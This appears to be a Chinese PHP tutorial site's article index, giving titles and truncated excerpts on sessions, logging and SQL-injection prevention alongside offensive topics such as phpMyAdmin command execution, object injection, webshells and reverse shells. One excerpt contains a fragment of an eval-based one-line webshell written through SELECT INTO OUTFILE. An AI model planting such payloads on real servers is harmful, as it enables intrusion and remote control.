yii2 resetful 的授权验证

添加日期：2018-10-17 09:29:54　发布：smiling　

什么是restful风格的api呢？我们之前有写过大篇的文章来介绍其概念以及基本操作。既然写过了，那今天是要说点什么吗？这篇文章主要针对实际场景中api的部署来写。我们今天就来大大的侃侃那些年api ...

php怎么写一个日志功能的函数

添加日期：2018-10-16 11:48:39　发布：smiling　

我们要写一个写日志的函数,首先需要了解需求,我们一般怎么用日志函数呢?例如,程序执行到某一步,我希望把这个变量(地址)$user_address的值打印到日志,我们希望日志里是这么写的:`xx-xx-xx xx:xx $ ...

php 怎么创建session？php创建session的方法实例详解

添加日期：2018-10-16 11:47:08　发布：smiling　

本文实例讲述了php创建session的方法。分享给大家供大家参考。具体分析如下：保存session只需要两个步骤，开启session和保存session数据。默认情况下，session保存在服务器端 c: windows temp文件 ...

PHP实现移除数组中为空或为某值元素的方法

添加日期：2018-10-16 11:39:11　发布：smiling　

本文实例讲述了PHP实现移除数组中为空或为某值元素的方法。分享给大家供大家参考，具体如下：在实现移除数组中项目为空的元素或为某值的元素时用到了两个函数 array_filter、create_function先看 ...

php数字加密解密的程序

添加日期：2018-10-16 10:55:46　发布：smiling　

<?php ***CreatedbyPhpStorm *User:Administrator*Date:2016 11 1*Time:12:26* *把数字转换成字符对应解析*@parammixed$inStringorlonginputtotranslate*@paramboolean$to_numReversestranslation ...

PHP防止SQL注入的例子

添加日期：2018-10-16 10:36:07　发布：smiling　

使用prepared以及参数绑定查询可根本性防止sql注入的发生：SQL语句与参数分批传输到sql服务器的方式让利用字符串拼接的SQL注入没有了施展空间。基本上你有两种方式完成上述方法：使用PDO:$stmt=$pd ...

php preg_replace引发的phpmyadmin(4.3.0-4.6.2)命令执行漏洞

添加日期：2018-10-15 10:01:39　发布：smiling　

这里拿cve-2016-5734讲讲preg_replace引发的命令执行漏洞，漏洞在exploit-db上有利用脚本，经过测试没有问题。这里对这个漏洞进行一下回溯跟踪来解释下preg_replace这个正则替换函数带来的问题。0x ...

PHP对象注入的实例分析

添加日期：2018-10-15 09:58:14　发布：smiling　

1 写在前面最近经常会遇到一些比较有意思的漏洞，比如PHP反序列化漏洞,PHP对象注入。这些漏洞可能在平时很难遇到，但是在CTF以及一些CMS倒是经常看到他们的背影。今天刚刚好手上看到了某CTF的代 ...

PHP最短webshell的一些理解

添加日期：2018-10-15 09:55:16　发布：smiling　

The shortest webshell of PHP某天闲逛wooyun，发现一篇挺有意思的文章————《32C3 CTF 两个Web题目的Writeup》。其中提到了两个比较有意思的东西：PHP执行运算符反引号上面提及的文章， ...

DWVA上传漏洞挖掘的测试例子

添加日期：2018-10-15 09:45:20　发布：smiling　

low：<?phpif(isset($_POST[& 39;Upload& 39;])){ Wherearewegoingtobewritingto?$target_path=DVWA_WEB_PAGE_TO_ROOT "hackable uploads ";$target_path =basename($_FILES[& 39;uploaded& 39;][ ...

phpmyadmin写入一句话木马的测试

添加日期：2018-10-13 14:27:14　发布：smiling　

方法一，一句话木马偶尔拿到一个config中，发现是root，且还有phpmyadmin。好吧，试试:<ahref=" " tags php select ""target=" "_blank "">select< a>& 39;<?php@eval($_POST[-77]);?>& 39;INTOOU ...

php webshell下直接反弹shell的例子

添加日期：2018-10-13 14:25:04　发布：smiling　

Linux下，有时候拿到webshell需要提权，提权必须要得到一个交互式的shell。我看了一下常用的php webshell，对于命令执行、反弹shell都没有完善的方式。很多webshell里都没有proc_popen、popen这两 ...